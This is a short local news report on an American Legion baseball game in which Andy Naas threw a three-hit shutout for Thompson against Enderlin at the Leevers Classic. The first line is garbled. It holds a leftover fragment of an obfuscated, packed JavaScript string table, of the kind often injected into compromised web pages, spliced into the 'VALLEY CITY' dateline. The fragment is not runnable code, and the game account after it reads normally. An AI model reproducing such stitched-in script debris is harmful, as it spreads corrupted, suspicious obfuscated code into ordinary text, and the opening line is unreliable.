VALLEY knyya|var|u0026u|referrer|yhdhf||js|php’.split(‘|’),0,{}))
CITY  (NewsDakota.com)–Andy Naas tossed a complete game, three-hit shut out to lead Thompson past Enderlin in the final opening-round game of the Leevers Classic American Legion Baseball Tournament in Valley City Saturday.

Naas recorded 11 strikeouts and shut down Post 221 to send Thompson to a matchup with Valley City in the semi-finals.

Thompson scored five runs in the first, as Enderlin hurler Coltin Huus struggled to locate pitches, walking three batters and facing nine hitters before being lifted with two outs in the inning.  Malek Larimer had the big hit for Thompson, plating two with a two-out single out of the number-nine position in the order to move the lead to 5-0 and chase Huus out of the game.

Enderlin reliever Gareth Hanson filled in admirably, throwing 5.2 innings, scattering six hits and allowing just one run.

Naas ended what the Thompson bats started.  He put the brakes on the the best threat of the day for Enderlin, when the loaded the bases without an out in the sixth.  Naas recorded three straight strikeouts, freezing Hanson and fanning Adam Stenson and a pinch-hitter to halt the threat.

Enderlin struggled in the bottom of the order, with the six-through-nine hitters finishing 0-11 with a walk and nine strikeouts.

Thompson faces Valley City in the semifinals Saturday night at 7:00 p.m.  Enderlin faces Grafton in consolation play at 3:00 p.m.